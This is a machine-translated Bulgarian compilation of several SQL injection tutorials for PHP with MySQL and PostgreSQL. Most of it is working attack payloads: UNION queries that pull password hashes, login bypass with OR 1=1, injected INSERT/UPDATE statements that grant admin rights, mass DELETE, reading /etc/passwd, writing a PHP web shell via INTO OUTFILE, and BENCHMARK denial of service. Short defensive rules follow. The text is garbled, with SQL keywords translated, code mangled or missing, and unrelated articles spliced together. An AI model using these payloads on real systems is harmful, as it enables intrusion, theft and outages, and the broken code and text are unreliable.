Какво е sql инжекция. Хакерска дейност: Използване на Havij за SQL инжекция. Как става хакването?

Небрежността и небрежността са две причини за писане на код, който е уязвим към SQL инжекция. Третата причина – невежеството, трябва да подтикне програмиста да задълбочи знанията си или дори да смени професията си.

SQL инжекция ( SQL инжекция) - уязвимост което възниква поради недостатъчно валидиране и обработка на данните, които се предават от потребителя и ви позволяват да променяте и изпълнявате SQL заявки, неочаквани от програмния код.

SQL инжектирането е широко разпространен пропуск в сигурността в Интернет, който лесно се експлоатира без специален софтуер и не изисква дълбоки технически познания. Използването на тази уязвимост дава път на големи възможности като:

  • кражба на данни - 80%;
  • отказ от услуга - 10 на сто;
  • подмяна или унищожаване на данни - 2-3%;
  • други случаи и намерения.

Има и различни програми за тестване на сигурността на сайта за всички видове JS и SQL инжектиране.

Подробно обяснение

В тази статия ще се опитам да обясня основните рискове, които възникват при взаимодействието между и MySQL база данни. За по-голяма яснота ще дам пример за проста структура на база данни, която е типична за повечето проекти:

СЪЗДАВАНЕ НА БАЗА ДАННИ `новини`; ИЗПОЛЗВАЙТЕ `новини`; # # таблица с новини # CREATE TABLE `news` (` id` int (11) NOT NULL auto_increment, `title` varchar (50) default NULL,` date` datetime default NULL, `text` text, PRIMARY KEY (` id` )) ТИП = MyISAM; # # добавяне на някои данни # INSERT `news` SET` id` = "1", `title` =" първа новина ",` date` = "2005-06-25 16:50:20", `text` =" текст на новините“; INSERT `news` SET` id` = "2", `title` =" втора новина ",` date` = "2005-06-24 12:12:33", `text` =" тестови новини "; # # таблица с потребители # CREATE TABLE `потребители` (` id` int (11) NOT NULL auto_increment, `login` varchar (50) default NULL,` password` varchar (50) default NULL, `admin` int (1) NULL ПО ПОДРАЗБИРАНЕ "0", ПЪРВИЧЕН КЛЮЧ (`id`)) TYPE = MyISAM; # # добавяне на няколко потребители, единият с права на администратор, другият прост # INSERT `users` SET` id` = "1", `login` =" admin ",` password` = "qwerty", `admin` =" 1 "; INSERT `users` SET` id` = "2", `login` =" потребител ",` парола` = "1111", `admin` =" 0 ";

Виждаме, че заявката се формира в зависимост от стойността на $ _GET ["id"]. За да проверите за уязвимост, достатъчно е да я промените на стойност, която може да причини грешка при изпълнението на SQL заявка.

Разбира се, може да няма извеждане на грешка, но това не означава, че в резултат няма грешка

„Имате грешка във вашия SQL синтаксис; проверете ръководството, което съответства на версията на вашия MySQL сървър за правилния синтаксис, който да използвате близо до "" "на ред 1"

или резултат

http://test.com/index.php?id=2-1

ако има уязвимост, тя трябва да даде резултат, подобен на

http://test.com/index.php?id=1.

Подобни уязвимости ви позволяват да промените заявкатав частта на параметъра WHERE. Първото нещо, което нападателят ще направи, когато бъде открита такава уязвимост, е да провери колко полета се използват в заявката. За целта се задава умишлено неправилен идентификатор, за да се изключи показването на реална информация и се комбинира със заявка със същия брой празни полета.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

броят на "null" трябва да съответства на броя на полетата, които се използват в заявката.

Ако заявката изведе грешка, се добавя още една нулева стойност, докато грешката изчезне и се получи резултат с празни данни. Освен това комбинираните полета се заменят със стойности, които могат да се наблюдават визуално на страницата.

Например:

http://test.com/index.php?id=-1+UNION+SELECT+null

сега на страницата, където трябваше да се показва заглавието на новината, ще се фука qwerty.

Как да разбера версиите на MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT + null, USER (), null, null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Как да извадя данните за вход на текущия потребител на базата данни?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Какво е името на използваната база данни?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Как мога да получа други данни от други таблици?

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, `password`, null, null FROM` потребители WHERE `id` =" 1 ";

По такъв прост начин те откриват паролата или хеша на администраторската парола. Ако текущият потребител има права за достъп до базата данни "mysql", нападателят ще получи хеша на паролата на администратора без никакви проблеми.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Сега изборът му е само въпрос на време.

Търсене

Търсенето е едно от най-уязвимите места, тъй като голям брой параметри на заявката се предават едновременно. Пример за проста заявка, която търси ключова дума:

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` заглавие` КАТО "% $ търсене%" ИЛИ `текст` КАТО"% $ търсене% "

$ search е думата, която се изпраща от формуляра. Нападателят може да предаде променливата $ search = "# сега заявката ще изглежда така:

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` заглавие` КАТО "%" #% "ИЛИ` текст` КАТО "%" #% ";

Съответно, вместо резултати от търсене за ключова дума, ще се покажат всички данни. Той също така ви позволява да използвате описаната по-горе функция за агрегиране на заявки.

Използване на параметъра ORDER

Често можете да видите, че при въвеждане на параметри за търсене или показване на информация те позволяват на потребителя да сортира данни по конкретни полета. Веднага ще кажа, че използването на тази уязвимост не е твърде опасно, тъй като ще доведе до грешка при опит за комбиниране на заявки, но заедно с уязвимостите в други полета има опасност от коментиране на този параметър.

http://test.com/index.php?sort=name

параметърът ORDER се формира в зависимост от променливата $ sort

Ще бъде генерирана следната заявка:

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` заглавие` КАТО "%" / *% "ИЛИ` текст` КАТО "%" / *% "ПОРЪЧАЙТЕ ПО * /

като по този начин се коментира едно от условията и параметъра ORDER

Сега можете отново да комбинирате заявката, като зададете $ sort = * / UNION SELECT ...

Като вариант за използване на уязвимостта на този параметър:

ИЗБЕРЕТЕ * ОТ `потребители` ПОРЪЧАЙТЕ ПО ДЪЛЖИНА (парола);

Позволява ви да сортирате потребителите в зависимост от дължината на паролата, при условие че е запазена в "чист" вид.

Упълномощаване

Сега нека се опитаме да разгледаме опциите за SQL инжектиране, които възникват по време на оторизацията на потребителя. Обикновено заявка, която проверява коректността на данните за оторизация, изглежда така:

SELECT * FROM `users` WHERE` login` = "$ вход" И `парола` =" $ парола ";

където $ вход и $ парола са променливи, които се изпращат от формуляра. Такава заявка връща данни за потребителя при успех, а при неуспех - празен резултат. Съответно, за да премине оторизация, нападателят трябва само да модифицира заявката по такъв начин, че да върне ненулев резултат. Посочено е вход, който отговаря на реален потребител, и вместо парола, "ИЛИ" 1 "=" 1 "Или някакво вярно условие (1," a "=" a ", 1<>2, 3> 2, 1 + 1, ISNULL (NULL), 2 IN (0,1,2), 2 МЕЖДУ 1 И 3). Съответно искането ще бъде оформено, както следва:

SELECT * FROM `users` WHERE` login` = "admin" И `password` =" "OR" 1 "=" 1 ";

което ще върне резултата и в резултат ще доведе до неоторизирано оторизиране. А ако паролите в таблицата са хеширани? След това проверката на паролата е просто "деактивирана", като се коментира всичко след "влизане". Във формуляра вместо вход се присвоява влизането на реален потребител и „#, като по този начин се коментира проверката на паролата.

SELECT * FROM `users` WHERE` login` = "admin" # "AND` password` = "12345"

алтернативно "OR` id` = 2 #

SELECT * FROM `users` WHERE` login` = "" ИЛИ `id` = 2 #" И `password` =" 12345 "

SELECT * FROM `users` WHERE` login` = "" ИЛИ `admin` =" 1 "#" И `password` =" 12345 "

Голямата грешка е да проверите паролата по следния начин:

SELECT * FROM `users` WHERE` login` = "$ login" И `парола` LIKE" $ password "

защото в този случай паролата% е подходяща за всяко влизане.

ВМЪКВАНЕ И АКТУАЛИЗИРАНЕ

Въпреки това, SELECTs не са единствената уязвимост в SQL. INSERT и UPDATE могат да бъдат еднакво уязвими. Да приемем, че сайтът има възможност да регистрира потребители. Заявка, която добавя нов потребител:

Уязвимостта на едно от полетата ви позволява да модифицирате заявката с необходимите данни. В полето за вход добавете потребителя "," парола ", 1) # като по този начин добавите потребител с права на администратор.

INSERT `users` SET` login` = "потребител", `парола` =" парола ",` admin` = "0";

Да кажем, че полето `admin` е преди полето` login`, така че трикът с подмяната на данните, които идват след полето `login`, не работи. Не забравяйте, че синтаксисът на командата INSERT ви позволява да добавите не само един ред, но и няколко. Пример за уязвимост в полето за вход: $ login = потребител "," парола "), (1," хакер "," парола ") #

INSERT INTO `users` SET (`admin`, `login`,` password`) СТОЙНОСТИ (0, "user", "password"), (1, "hacker", "password") # "," password ") ;

Така се създават 2 записа, единият с правата на обикновен потребител, а другият с желаните администраторски права.

Подобна ситуация и с UPDATE

Добавяне на допълнителни полета за промяна:

$ login = ",` парола` = "", `admin` =" 1

След това подобна молба

АКТУАЛИЗАЦИЯ `users` SET` login` = "чайник" WHERE `id` = 2;

Променено, както следва:

АКТУАЛИЗАЦИЯ `USERS` SET` login` = "", `password` =" ",` admin` = "1" КЪДЕ `id` = 2;

Какво ще се случи? Потребителят с ID 2 ще промени потребителското име и паролата на празни стойности и ще получи администраторски права. Или в случай

$ login = ",` password` = "" КЪДЕ `id` = 1 #

Входът и паролата на администратора ще бъдат празни.

ИЗТРИЙ

Тук всичко е просто, никакви данни не могат да бъдат получени или променени, но винаги сте добре дошли да изтриете ненужни данни.

$ id = 1 ИЛИ 1 = 1

DELETE FROM `news` WHERE` id` = "1" ИЛИ 1 = 1; // изчистване на всички записи в таблицата.

Вместо 1 = 1 може да има всяко вярно условие, което беше споменато по-горе. Параметърът LIMIT може да записва, което ще ограничи броя на изтритите редове, но не винаги, може просто да бъде коментиран.

DELETE FROM `news` WHERE` id` = "1" ИЛИ 1 = 1 # LIMIT 1;

Работа с файлове чрез SQL инжекция

Силно се съмнявам, че може да мине някъде, но честно казано, такива методи трябва да бъдат описани. С активирани привилегии за файлове можете да използвате командите LOAD_FILE и OUTFILE.

Тяхната опасност може да се прецени от следните въпроси:

SELECT * FROM `news` WHERE` id` = -1 union select null, LOAD_FILE ("/ etc / passwd"), null, null; SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, LOAD_FILE ("/ home / test / www / dbconf.php"), null, null;

Но това не е краят на всички неприятности.

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, "", null, null ОТ `news` в outfile" /home/test/www/test.php ";

Ето как пишем файл, който съдържа PHP код. Вярно е, че освен кода, в него ще има още няколко нулеви записа, но това по никакъв начин няма да повлияе на производителността на PHP кода. Въпреки това, има няколко условия, поради които тези методи ще работят:

  • Привилегията FILE е разрешена за текущия потребител на базата данни;
  • Разрешения за четене или запис на тези файлове за потребителя, под който е стартиран MySQL сървъра; абсолютен път до файла;
  • по-малко важно условие - размерът на файла трябва да е по-малък от max_allowed_packet, но тъй като в MySQL 3.23 най-големият размер на пакета може да бъде 16 MB, а в 4.0.1 и повече, размерът на пакета е ограничен само от количеството налична памет, нагоре до теоретичен максимум от 2 GB това условие обикновено винаги е налично.

Магически цитати

Магическите кавички правят невъзможно използването на SQL инжекция върху низови променливи, тъй като автоматично избягва всички "и", които идват с $ _GET и $ _POST. Но това не се отнася за използването на уязвимости в целочислени или дробни параметри, въпреки че с поправка, че няма да е възможно да се използва. „В този случай помага функцията char.

SELECT * FROM `news` WHERE` id` = -1 UNION SELECT null, char (116, 101, 115, 116), null, null;

DOS чрез SQL инжекция.

Почти забравих да кажа и SQL експертите ще потвърдят, че операцията UNION е възможна само в MySQL> = 4.0.0. Хората, които имат проекти по предишни версии, въздъхнаха с облекчение :) Но не всичко е толкова безопасно, колкото изглежда на пръв поглед. Понякога е трудно да се проследи логиката на нападателя. „Няма да мога да хакна, така че поне ще се проваля“, мисли хакерът, написвайки функцията BENCHMARK за примерна заявка

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` id` = БЕНЧМАРК (1000000, MD5 (СЕГА ()));

Отне ми от 12 до 15 секунди. Добавяне на нула - 174 секунди. За повече, просто не вдигнах ръка. Разбира се, на мощни сървъри такива неща ще се правят много по-бързо, но ... BENCHMARK ви позволява да поставите себе си едно в едно. Като този:

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` id` = БЕНЧМАРК (1000000, БЕНЧМАРК (1000000, MD5 (СЕГА ())));

Или дори така

ИЗБЕРЕТЕ * ОТ `новини` КЪДЕ` идентификатор` = БЕНЧМАРК (1000000, БЕНЧМАРК (1000 000, БЕНЧМАРК (1000 000, MD5 (СЕГА ()))));

А броят на нулите е ограничен само от "добротата" на човека, който ги вдига.

Мисля, че дори МНОГО мощна машина не може лесно да преглътне подобни искания.

Резултат

Това е всичко. В тази статия се опитах да покрия възможно най-много вариантите на уязвимости, които програмистите допускат при създаване на програми с помощта на MySQL бази данни. Все пак съм повече от сигурен, че това не е пълен списък.

Важно е да запомните правилата срещу SQL инжектирането

  • Не се доверявайте на НИКАКВИ данни, които идват от потребителя. Не става въпрос само за данните, които се предават от масивите $ _GET и $ _POST. Не забравяйте за $ _COOKIE и други части от HTTP заглавките. Трябва да се помни, че те са лесни за подмяна.
  • Не разчитайте на опцията "магически кавички" на PHP, която вероятно е по-скоро пречка, отколкото помощ. Всички данни, които се прехвърлят в базата данни, трябва да бъдат категоризирани с полетата на базата данни. ($ id = (int) $ _ GET ["id"]) или защитени от функции mysql_real_escape_string или mysql_real_escape_string.
  • mysql_real_escape_string не избягва % и _, така че не трябва да го сдвоявате с LIKE.
  • Не разчитайте твърде много и на добре написан mod_rewrite. Това са само начини за създаване на "приятелски" URL адреси, но със сигурност не и начин за защита срещу SQL инжектиране.
  • Деактивирайте извеждането на грешка.
  • Не помагайте на лошите посетители. Дори ако бъде установена грешка, липсата на информация за нея сериозно ще усложни нейното прилагане. Не забравяйте разликата между етап на разработка и работещ проект. Извеждане на грешкаи друга подробна информация - вашият съюзник по време на етапа на разработка и съюзник на нападателяв работеща версия. Също така не трябва да ги криете, като коментирате в HTML кода, на всеки 1000 посетители ще има 1, който все пак ще намери такива неща.
  • Обработвайте грешки.
  • Напишете обработката на SQL заявки по такъв начин, че информацията за тях да се съхранява в някои регистрационни файлове или да се изпраща по пощата.
  • Не съхранявайте данни за достъп до базата данни във файлове, които не се обработват от PHP като код.
  • Не мисля, че съм открила Америка за някого, но от собствен опит мога да кажа, че тази практика е доста разпространена. По правило това е файл с разширение * .inc.
  • Не създавайте база данни "супер потребител".
  • Предоставяйте само правата, необходими за изпълнение на конкретни задачи.
  • При търсене си струва да ограничите минималния и максималния брой знаци, които са параметри на заявката.
  • За честен потребител от 3 до 60-70 знака са напълно достатъчни, за да задоволят вашите интереси за търсене и в същото време предупреждавате ситуации, когато обемът на "Война и мир" се превръща в заявка за търсене.
  • Винаги проверявайте броя на записите, върнати след заявка

Почти 90% от сайтовете са написани на phpима такава логическа грешка, особено това може да се наблюдава, когато се направи заявка въз основа на получения ID от потребителя, ако ръчно дадете на скрипта несъществуващ идентификатор - ще видим доста интересни резултати от работата на някои скриптове , вместо да върне 404, програмата в най-добрия случай няма да направи нищо и ще се покаже на празна страница.

Безопасен SQL за вас.

SQL инжектирането е уязвимост, възникваща в резултат на недостатъчна проверка на стойностите, получени от потребителя в скрипт или програма. Ще разгледам инжектирането на база данни на MySQL. Тази база данни е една от най-разпространените. Освен ако не е посочено друго, се смята, че mysql инжектирането е възможно в php скрипт.
(5140 гледания за 1 седмица

Феникс

сайтът съвместно с Учебния център "Информзашита" и онлайн магазина за софтуер Softkey.ru организира конкурс за най-добра статия на тема информационна сигурност.

SQL инжектирането е уязвимост, възникваща в резултат на недостатъчна проверка на стойностите, получени от потребителя в скрипт или програма. Ще разгледам инжектирането на база данни на MySQL. Тази база данни е една от най-разпространените. Освен ако не е посочено друго, се смята, че mysql инжектирането е възможно в php скрипт.

Откриване на наличието на SQL инжекция.

Често присъствието на SQL инжекция може да бъде посочено от грешки, които ясно показват, че е възникнала грешка в sql заявката. В същото време за наличието на грешка в SQL заявката може да се съди по косвени индикации.

За да проверим дали даден параметър е напълно филтриран или не, ние предаваме леко променени стойности на този параметър. Например вместо http: //site/test.php? Id = 12 предаваме.

http: //site/test.php? id = 12 "

http: //site/test.php? id = aaa

http: //site/test.php? id = 13-1

Ако последната заявка върне страница, подобна на тази на http: //site/test.php? Id = 12, в повечето случаи това може недвусмислено да показва наличието на SQL инжекция в нефилтриран цял параметър.

Анализ на база данни чрез MySQL инжекция.

И така, да кажем, че знаем за недостатъчно филтриране на параметъра id в скрипта http: //site/test.php? Id = 12

Наличието на подробни съобщения за грешка с текста на SQL заявката, в която е възникнала грешката, ще намали трудността при работа с SQL инжекцията до минимум. Въпреки това, много може да се направи, дори ако изобщо не се показват съобщения за грешка.

Трябва да се отбележи, че дори ако текстът на грешката не се показва, все пак можете недвусмислено да прецените дали е възникнала грешка или не (например заявката върна празен резултат).

По-специално, възможно е при грешка да бъде върнат код на отговор 500 или пренасочване към главната страница, докато празна страница ще бъде върната, ако заявката е празна.

За да идентифицирате тези незначителни признаци, трябва да съставите http заявки, за които знаете, които ще доведат до правилна (но връщаща празен изход) SQL заявка и която ще доведе до неправилна SQL заявка. Например с нефилтриран идентификационен параметър

http: //site/test.php? id = 99999 вероятно ще върне празна sql заявка, докато

http: //site/test.php? id = 99999 "трябва да изведе грешка.

Сега, знаейки как да различим грешна заявка от празна, започваме последователно да извличаме информация за заявката и базата данни.

Помислете за случая, когато инжектирането се случва след къде. Ако обмисляме база данни MySQL, тогава получаването на информация от базата данни може да бъде възможно само ако сървърът има версия 4. *, те могат да бъдат вмъкнати в заявката за съюз

1) брой полета между select и where

Опитваме последователно, докато получим правилната заявка:

http: //site/test.php? id = 99999 + union + select + null / *

http: //site/test.php? id = 99999 + union + select + null, null / *

освен това, ако не е възможно да отделите невалидната заявка от тази, която е върнала празен резултат, можете да направите това:

http: //site/test.php? id = 12 + union + select + null / *

http: //site/test.php? id = 12 + union + select + null, null / *

За да направим това, просто трябва да можем да разделим правилната заявка от грешната, а това винаги е възможно, ако има факт за наличие на SQL инжекция.

След като получим правилната заявка, броят на нулата ще бъде равен на броя на полетата между select и where

2) номера на колоната с изхода. Трябва да знаем в коя колона се показва страницата.

В същото време, ако на страницата са показани няколко параметъра, тогава е по-добре да намерите този, който изглежда има най-голям размер на тип данни (текстът е най-добрият), като описание на продукта, текст на статия и т.н. Ние го търсим:

http: //site/test.php? id = 9999 + union + select + "test", null, null / *

http: //site/test.php? id = 9999 + union + select + null, "test", null / *

И докато не видим думата тест на мястото, от което се нуждаем.

Моля, имайте предвид, че в този случай една от тези заявки определено ще върне стойност, която не е празна.

Тук можете да се натъкнете на капан: в скрипта може би има проверка за непразност на един от параметрите (например id), тук ще трябва да използвате свойството MySQL, числовият тип може да се преобразува в всеки тип данни, без грешка и така, че да запази значението си.

http: //site/test.php? id = 9999 + union + select + 1,2,3 / *

Същият трик ще работи, когато кавичките са екранирани.

Добавя се отваряне за коментар, за да се отхвърли останалата част от заявката, ако има такава. MySQL отговаря нормално на незатворен коментар.

3) имена на таблици

Сега можете да преглеждате имената на таблиците.

http: //site/test.php? id = 12 + union + select + null, null, null + from + table1 / *

Правилните заявки ще съответстват на съществуващите имена на таблици. Вероятно ще бъде интересно да се провери за съществуването на таблици потребители, пароли, регузери и т.н. и т.н.

4) системна информация

вече имаме достатъчно информация, за да направим такова искане.

http: //site/test.php? id = 9999 + union + select + null, mysql.user.password, null + from + mysql.user / *

Ако имате права да избирате от базата данни mysql, тогава тази заявка ще ни върне хеш на паролата, който в повечето случаи може лесно да бъде декриптиран. Ако се покаже само един ред от заявката (например вместо тялото на статията), тогава можете да се движите по редовете

http: //site/test.php? id = 9999 + union + select + null, mysql.user.password, null + from + mysql.user + limit + 0,1 / *

http: //site/test.php? id = 9999 + union + select + null, mysql.user.password, null + from + mysql.user + limit + 1,1 / *

Освен това можете да научите много интересни неща:

http: //site/test.php? id = 9999 + union + select + null, DATABASE (), null / *

http: //site/test.php? id = 9999 + union + select + null, USER (), null / *

http: //site/test.php? id = 9999 + union + select + null, VERSION (), null / *

5) имената на колоните в таблицата

По подобен начин можете да ги повторите: http: //site/test.php? Id = 9999 + union + select + null, row1, null + from + table1 / * и т.н.

текстови файлове чрез MySQL инжекция.

Ако потребителят, под който се осъществява достъп до базата данни, има права file_priv, тогава можете да получите текста на произволен файл

http: //site/test.php? id = 9999 + union + select + null, LOAD_FILE ("/ etc / passwd"), null / *

запис на файлове в уеб директорията (php shell).

Както показва практиката, ако имаме разрешения за file_priv, директория, която може да се записва за всички потребители, достъпна и от мрежата (понякога, качване, банери и т.н.), а също така знаем името на поне една таблица (mysql. потребител, например, това ще стане, ако имате достъп до базата данни mysql), тогава можете да качите произволен файл на сървъра, като използвате този тип инжекция.

http: //site/test.php? id = 9999 + union + select + null, "+ система ($ cmd) +?
> ", null + от + table1 + в + outfile +" / usr / local / site / www / банери / cmd.php "/ *

В този случай е необходима конструкцията от таблица 1.

Ако освен това сайтът има уязвимост, която позволява изпълнение на произволни файлове на сървъра (включва ("/ път / $ file.php")), тогава във всеки случай можете да качите php обвивка, например, в директорията / tmp / и след това закачете този файл от там, като използвате уязвимост за включване.

инжекция следлимит.

Доста малко, възможността за SQL инжектиране се появява вътре в параметъра, предаден на limit. Това може да бъде номерът на страницата и т.н., и т.н.

Практиката показва, че всичко по-горе може да се приложи и в този случай.

MySQL отговаря правилно на заявки като:

Изберете... ограничение 1,2 избор на съюз....

Изберете… ограничение 1 избор на съюз….

Ако искате първата подзаявка да върне празен резултат, трябва изкуствено да зададете големи отмествания за първата заявка:

Изберете... лимит 99999.1 избор на съюз.... Или изберете... лимит 1,0 избор на съюз....

някои "подводни камъни".

Най-често срещаният капан може да бъде включването на магически кавички в php конфигурацията. В случай на низови параметри, това като цяло ще позволи да се избегне възможността за SQL инжекция, а в случай на целочислени (дробни) параметри ще бъде невъзможно да се използват кавички в такива заявки и следователно низове.

Отчасти функцията char ще ни помогне да решим този проблем, който връща низ по символни кодове. Например

http: //site/test.php? id = 9999 + union + select + char (116,101,115,116), null, null / *

http: //site/test.php? id = 9999 + union + select + char (116,101,115,116), null, null + from_table1 / *

http: //site/test.php? id = 9999 + union + select + null, LOAD_FILE (char (47,101,116,99,47,112,97,115,115,119,100)), null / *

Единственото ограничение. Ако искате да направите в outfile, тогава като име на файл трябва да предадете името на файла в кавички. в outfile char (...) хвърля грешка.

2) Mod_security.

Изглежда, че този модул за уеб сървър на apache прави невъзможно използването на уязвимостта при инжектиране на SQL. Въпреки това, с някои конфигурации на PHP и този модул, атаката може да се извърши прозрачно за този модул.

Конфигурацията по подразбиране на модула mod_security не филтрира стойността, предадена като бисквитка. В същото време, в някои случаи, а също и в някои php конфигурации по подразбиране, променливите на бисквитките се регистрират автоматично.

По този начин стойностите на злонамерени променливи, които са напълно прозрачни за mod_security, могат да бъдат предавани като стойности на бисквитки.

DOS в MySQL инжекция.

Ако не е възможно да се използва union в заявка, например MySQL има версия 3. *, тогава въпреки това инжекцията може да бъде използвана, например, за да принуди сървъра на базата данни да изчерпи всичките си ресурси.

За да направим това, ще използваме функцията BENCHMARK, която повтаря изпълнението на израза expr определен брой пъти, посочен в аргумента count. Като основен израз, нека вземем функция, която сама по себе си отнема известно време. Например, md5 (). Нека вземем current_date като низ, така че низът да не съдържа кавички. Функциите BENCHMARK могат да бъдат вложени една в друга. И така, ние съставяме заявка:

http: //site/test.php? id = BENCHMARK (10000000, BENCHMARK (10000000, md5 (текуща_дата)))

Изпълняват се 1 000 000 md5 заявки (в зависимост от капацитета на сървъра), около 5 секунди, 10 000 000 ще отнеме около 50 секунди. Изпълнението на вложения бенчмарк ще отнеме много време на всеки сървър. Сега ще остане да изпращате до няколко десетки такива http заявки в секунда, за да приведете сървъра в плавно състояние.

други видове MySQL инжекция.

Филтрирането на целочислени стойности за целочислени параметри и кавички за параметри на низ понякога не е достатъчно. Понякога използването на % и _ специални знаци в подобна заявка може да доведе до непланирана функционалност. Например:

mysql_query ("изберете идентификатор от потребители, където парола като" ".addslashes ($ парола)." "и потребител като" ".addslashes ($ потребител)." "");

в този случай паролата% е подходяща за всеки потребител

apache mod_rewrite

В някои случаи SCL инжектирането е възможно дори в параметър, който се преобразува от методите mod_rewrite на модула apache в параметър на скрипт GET.

Например, скриптове като /news/127.html се преобразуват в /news/news.php?id=127 чрез следното правило: RewriteRule ^ / news / (. *) \. Html $ "/news/news.php? id=$1"

Това ще ви позволи да предавате стойности на злонамерени параметри към скрипта. Така например /news/128-1.html

Ако се покажат подробни съобщения за грешка, тогава можете веднага да разберете адреса на скърцането и след това, като изберете параметъра за работа с него. Ако не, можете да проучите уязвимостта чрез директно редактиране на името на файла.

накратко за защитата.

За да се предпазите от всичко по-горе, достатъчно е да се придържате към няколко прости правила.

1) за целочислени и дробни стойности, преди да ги използвате в заявка, е достатъчно да прехвърлите стойността към желания тип.

$ id = (int) $ id; $ общо = (float) $ общо;

Вместо това можете да вмъкнете система за проследяване за тестване на SQL инжектиране.

if ((низ) $ id (низ) (int) $ id) (

// пише в дневника за опита

2) за параметри на низ, които не се използват в подобни, регулярни изрази и т.н., избягващи кавички.

$ str = добавя наклонени черти ($ str);

или по-добре

mysql_escape_string ($ str)

3) в низове, които се предполага, че се използват вътре като, regexp и т.н., е необходимо също така да се избягват специалните символи, използвани в тези оператори, ако е необходимо. В противен случай използването на тези символи може да бъде документирано.

Учебен център "Informzashita" http://www.itsecurity.ru - водещ специализиран център в областта на обучението по информационна сигурност (Лиценз на Московския комитет по образование № 015470, държавна акредитация № 004251). Единственият оторизиран център за обучение за системи за интернет сигурност и Clearswift в Русия и ОНД. Упълномощен център за обучение на Microsoft (специализация по сигурност). Програмите за обучение се съгласуват с Държавната техническа комисия на Русия, FSB (FAPSI). Удостоверения за обучение и държавни документи за професионално развитие.

SoftKey е уникална услуга за купувачи, разработчици, дилъри и партньори. В допълнение, това е един от най-добрите онлайн магазини за софтуер в Русия, Украйна, Казахстан, който предлага на клиентите богат асортимент, много методи на плащане, бърза (често незабавна) обработка на поръчки, проследяване на процеса на изпълнение на поръчката в личния раздел, различни отстъпки от магазина и производителите.

Най-простата SQL инжекция за манекени


В тази статия ще обясня основите на SQL инжекцията с пример, който показва SQL инжекция.

Както подсказва името, тази атака може да се извърши с помощта на SQL заявки. Много уеб разработчици не са наясно как нападателят може да подправи SQL заявки. SQL Injection може да работи в уеб приложение, което не филтрира правилно въведеното от потребителя и не се доверява на това, което потребителят предоставя. Идеята зад SQL инжекцията е да принуди приложението да изпълнява нежелани SQL заявки.

Разбира се, ние не сме хакери, но за да можем да се защитим, трябва да разберем как действа врагът. Всички примери, споменати в тази статия, са тествани с тази конфигурация:

  • Версия на PHP: 5.4.45
  • Уеб сървър: Apache
  • Тип сървър на база данни: MariaDB
  • Версия на сървъра: 10.1.26-MariaDB
Пример за SQL инжекция

Повечето уеб приложения имат страница за вход. Затова ще започнем с това. Да предположим, че има форма като тази:

потребителско име: парола
Когато потребителят въведе потребителско име и парола, те ще бъдат изпратени до sql.php чрез HTTP_POST метод:Примерът е максимално опростен за разбиране. Какво става тук? Ние и след това към таблицата "test_in" правим заявка за избор. Ако полетата за потребителско име и парола съвпадат, в резултат на това функцията mysql_fetch_row () ще върне поне един резултат, тоест ще се различава от „false“. Петият ред в този php скрипт е уязвим. Опитайте да оставите полето за парола празно и да въведете следното в данните за вход:

Тогава резултатът винаги ще бъде „Влезли сте“!

Тоест получаваме достъп до информация, която на теория трябва да бъде предоставена само на потребител, който знае връзката „вход-парола“. Защо се случва?

Факт е, че след това се изпълнява следният ред:

SELECT * от test_in където user_name = "" ИЛИ 1 = 1 - "и парола =" "И тук условието е: или потребителското име трябва да е равно на нищо, или единицата трябва да е 1. Ясно е, че последното условие винаги е изпълнено, следователно резултатът ще бъде различен от "false." И за да не бъде изпълнено още едно условие (проверка за парола), ще коментираме края на реда. Не забравяйте да поставите поне един интервал след две тирета, в противен случай ще има синтактична грешка.

Ясно е, че за да се изпълни такава заявка, човек трябва поне да знае как е оторизиран потребителят. Въпреки това, нападателите имат много шаблони за sql инжекция.

И така, в тази статия научихме как да създадем най-простата sql инжекция. В следващите статии ще развия тази тема и ще ви науча как да се предпазите от неоторизиран достъп. И ако трябва да проверите системата си, тогава можете

Много уеб разработчици не знаят как SQL заявките могат да бъдат подправени и предполагат, че SQL заявката е надеждна команда. Това означава, че SQL заявките могат да заобиколят контролите за достъп, като по този начин заобикалят стандартните проверки за удостоверяване и оторизация, а понякога SQL заявките дори могат да позволят достъп до команди на ниво операционна система на хоста.

Директното инжектиране на SQL команди е техника, при която нападателят създава или променя съществуващи SQL команди, за да разкрие скрити данни, или да отмени ценни, или дори да изпълни опасни команди на системно ниво на хоста на базата данни. Това се постига чрез приложението, което приема въведените данни от потребителя и ги комбинира със статични параметри, за да изгради SQL заявка. Следващите примери са базирани на истински истории, за съжаление.

Поради липсата на валидиране на входа и свързване към базата данни от името на суперпотребител или този, който може да създава потребители, нападателят може да създаде суперпотребител във вашата база данни.

Пример № 1 Разделяне на резултатния набор на страници ... и създаване на суперпотребители (PostgreSQL)

$ отместване = $ argv [0]; // внимавайте, няма проверка на въвеждане!
$ заявка = $ отместване; ";
$ резултат = pg_query ($ conn, $ query);

?>

Нормалните потребители щракват върху връзките "следващ", "предходен", където отместването на $ е кодирано в URL адреса. Скриптът очаква, че входящият $ offset е десетично число. Но какво ще стане, ако някой се опита да проникне, като добави a urlencode ()"d форма на следното към URL адреса Ако това се случи, тогава скриптът ще предостави достъп на суперпотребител до него. Имайте предвид, че 0; е да предоставите валидно отместване на оригиналната заявка и да я прекратите.

Често срещана техника е да се принуди SQL анализаторът да игнорира останалата част от заявката, написана от разработчика с -- което е знакът за коментар в SQL.

